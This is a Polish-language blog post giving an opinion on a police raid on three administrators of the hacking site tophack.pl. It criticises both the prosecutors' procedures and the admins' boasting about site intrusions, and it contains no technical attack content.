PS: wszelkie znalezione i ukazane błędy zostały przedstawione tylko i wyłącznie w formie edukacyjnej. Nie odpowiadam za formę wykorzystania ich przez użytkowników. Błędy zgłosiłem twórcom stron, więc prędzej czy później mogą one zostać załatane. Proszę o rozsądne ich wykorzystanie przy kształceniu własnych możliwości i NIE NISZCZENIE pracy autorów tych stron..

Początkowo chciałem wogóle nie komentować sytuacji. Bo i po co? Ale narastający odzew ślepego poparcia, które jakby nie patrzeć w wielu przypadkach jest słuszne z lekka mnie degustował. Można popierać pewne aspekty, zachowania. Można nie lubić policji, ale nie przeobrażajmy tego wszystkiego w normatywny konformizm charakteryzujący 15sto latków którym internet i burza hormonów robi z mózgów papkę. Nie róbmy z tego zmetaforyzowanej sytuacji “kto nie pije, ten z policji”. Są oczywiście osoby które mają pełne prawo nie lubić tego, czy tamtego – ale nie okłamujmy się, opinia pozostałych to typowa reakcja pozwalająca przypodobać się innym.

Dlatego osobiście spróbuje jak najbardziej z boku i obiektywnie ocenić sytuację. Jako osoba postronna której odczucia do głównych bohaterów tej sytuacji redukują się do minimum. Właśnie, kim są bohaterowie?

Tak więc (ach wiem, nie rozpoczyna się zdania od takiej formy – co mi tam ;]) są nimi administratorzy strony tophack.pl. Mianowicie:

• d3m0n,
• Gregstar,
• s@S@n (co do niego to szczerze nie pamiętam czy adminem był, czy nie? Przyznaję się, proszę nie bić ;])

Bohaterami sprawy stali się 21 Grudnia b.r. po tym jak w zorganizowanej akcji o godzinie 6 rano policja zawitała u wszystkich trzech w domach z nakazami przeszukania mieszkań wraz z zabezpieczeniem wszystkich niezbędnych dowodów. Screeny z nakazów macie tutaj i tutaj.

I w czym sęk tego wpisu? Przede wszystkim w fakcie zdziwienia się “poszkodowanych”. Jest kilka dziwnych aspektów, jak np.:

• potraktowanie strony której zawartość merytoryczna edytowana była przez zewnętrznych użytkowników jako forum. Tak, to jest dziwne – powiedziałbym nawet, że jest to ewidentny błąd prokuratury, bo jakbym nie patrzał, jakiej definicji bym nie próbował zastosować – to forum, a strona internetowa typu tophack nie mają ze sobą zbytnio nic wspólnego,
• fakt, że osoby te ponoć mają występować w formie świadków, a zostały potraktowane jak oskarżeni. Rozumiem, że można zbierać dowody – ale o szóstej nad ranem to się chyba domniemanym przestępcą planuje wizyty, a nie świadkom?

Nie mniej jednak, to koniec moich osobistych zdziwień. Powinienem napisać teraz: “walczmy! Nie dajmy rządowi wygrać! Postawmy się policji! Zbojkotujmy ‘Tygodnik Sanocki’ oraz Starostwo Powiatowe w Lesku za to, że wnieśli oskarżenie”. Nic z tych rzeczy. Przejdę za to do analizy, w pierwszeństwie tego oświadczenia d3m0na.

Otóż według pism wydanych przez prokuraturę strona tophack.pl była forum internetowym, co nie jest prawdą (definicja “forum internetowego” nie zgadza się z charakterem strony).

Jakby nie patrzeć faktycznie forum to to nie było.

Co więcej, wezwany na przesłuchanie nie jest jeden z administratorów, lecz jego ojciec, który ze sprawą nie ma nic wspólnego.

Więc zacytuje od razu wypowiedź d3m0na opublikowaną na CyberTerroryzmie:

“Domena tophack.pl zarejestrowana jest na mojego ojca, który będzie miał teraz sprawę w sądzie a nie wie nawet co znaczy tophack.”

Chyba sam sobie odpowiedział. Właściciel domeny jest zarazem właścicielem lub współwłaścicielem serwisu. Więc nie ma się tu co dziwić, że ojciec został wezwany na przesłuchanie. Po za tym – może aspektem jest wiek? Niby na wrzut-cie napisał on, że ma 18ście lat. Rocznikowo? Skończone? Czy może to tylko blef? Bo jeszcze na innym forum dotyczącym społeczności zajmującej się w pewnym sensie zabezpieczeniami można wyczytać, że otrzymał on kuratora (informacja niepotwierdzona, więc tylko domniemam). Za tego typu rzeczy można dostać kuratora chyba tylko jeśli się nie jest pełnoletnim? Tak więc?

Żeby było weselej, cała sprawa odbywa się w Rzeszowie do którego średnia odległość wszystkich administratorów to 400km.

Szkoła średnia. Zajęcia bodajże WOS-u. Prokuratura prowadzi postępowanie w miejscu domniemanego popełnienia przestępstwa, a nie tam, gdzie wygodniej oskarżonym. Jeśli żyjesz w Zakopanym, a ktoś wniesie oskarżenie o popełnieniu przestępstwa w Szczecinie to tam będzie odbywać się rozprawa, a nie w miejscu zamieszkania oskarżonego.

Czy na podstawie zrzutów ekranów, które można zobaczyć tylko (strona tophack.pl została zablokowana) w cache google (http://64.233.183.104/search?q=cache:tophack.pl/screen301.html), można przewrócić życie uczciwych obywateli do góry nogami.

Bardzo naciągana sentencja. Nie będę pisał dlaczego tak sądzę. Wystarczy poszukać na google-ach. Nie chcę nikomu szkodzić, bezpośrednio.

Warto jeszcze wspomnieć, że podczas przeszukania w domu d3m0na został również skonfiskowany bardzo ważny komputer rodziców, niezbędny do funkcjonowania ich firmy.

Zastanawia mnie jedynie fakt – że jednego dnia niektórzy afiszują się jacy to świetni w hackingu nie są obrażając przy tym innych, a dzień później zrzucają winę na wszystkich tylko nie na siebie. Rozumiem fakt, rodzinna firma na tym cierpi. Rozumiem błędy prokuratury i jeśli będzie można powinno się walczyć o zadośćuczynienie w kwestii tych błędów. Ale czy tylko w tych aspektach leży problem? Może rodzice najpierw powinni skupić się na tym co robił ich synek?

“Czy pani prokurator przemyślała swoje działania, czy miała prawo do zamknięcia serwisu tophack.pl, który był tylko portalem czysto informacyjnym oraz czy przeszukania i zabranie całego sprzętu były konieczne. Czy w taki sposób działania pani prokurator nie narażają budżetu naszego państwa na ponoszenie bezpodstawnych dużych kosztów i uniemożliwiają prowadzenie serwisu tophack oraz działalności gospodarczej członków rodzin poszkodowanych”

To może ja spytam inaczej: “Czy oskarżeni/świadkowie za każdym razem gdy dla zabawy popisywali się swoimi umiejętnościami dokładnie analizowali swoje czyny? Czy nie narażali oni potencjalnych właścicieli stron na straty? Czy nie uniemożliwiali działania danych stron, czy związanych z nimi działalności gospodarczych?” Fajne porównanie, co nie? I wybaczcie mi, że nawiązałem tu do trochę innych aspektów działalności trzech naszych bohaterów. Ale tak jak nie popieram działania prokuratury, tak w wielu przypadkach nie popieram działalności tychże Panów. A przynajmniej ich obnoszenia się z tym.

Czy nie ma ważniejszych spraw do rozwiązania w naszym kraju, a może mamy za dużo publicznych pieniędzy (ciekawe, ile kosztowała ta bezsensowna akcja?).

Pomyłka. Prokuratura zareagowała z powództwa cywilnego. Co mieli zrobić? Powiedzieć, że oni nie chcą i się tym nie zajmą. Narzekamy na podejście do Polskiego prawa, ale w tym wypadku co by to było? Jutro zgwałcona kobieta przyszła by wnieść sprawę, a oni powiedzieli by, że nie chcę się tego podjąć? Paranoja. Obstawiam, że gdyby nikt nie zgłosił tego – to do dzisiaj strona by stała.

Tyle na temat bezpośredniego komentarza. Jeśli ktoś chce dodatkowo zobaczyć o co chodziło w filozofii założonej przez nich strony – proszę archiwa z WebArchive.

Żebym nie wyszedł na skurczylisyna. Smutne jest takie potraktowanie ich przez policję, prokuraturę. Jacy nie są, czego nie robili – ulicznie “wjazdy” tego typu za coś takiego (właśnie za co? Bo nadal nie wiadomo dokładnie, z relacji wynika jedno, z poczynań drugie) jest co najmniej nie na miejscu. Przecież to nie mordercy. Pomimo, że nie lubię obłudy (którą wykazywali niektórzy z nich przynajmniej via internet) to w pewnym sensie mam nadzieje, że zakończy się to dla nich pozytywnie. Po co niszczyć ludziom w tym wieku życie wpisem w kartotece? Mógłbym napisać osobom które po części niszczyły bądź próbowały obrazić pracę lub pewne osoby, żeby nie dawały naruszać swoich praw osobistych. Mógłbym pisać jeszcze wiele… ale napiszę jedno, znajdźcie sobie dobrego prawnika. Tyle.

I na koniec podstawowe pytanie. Po raz kolejny. To jest Polski hacking? Który tak łatwo wpadł? Uświadomcie mnie – bo ja nigdy z szerszą grupą osób z tej “branży” nie miałem do czynienia. Dlatego z pokorą o to pytam…

PS: są to tylko moje własne przemyślenia. Pomyliłem się? Zwróćcie mi uwagę. Liczę na wymianę zdań ;]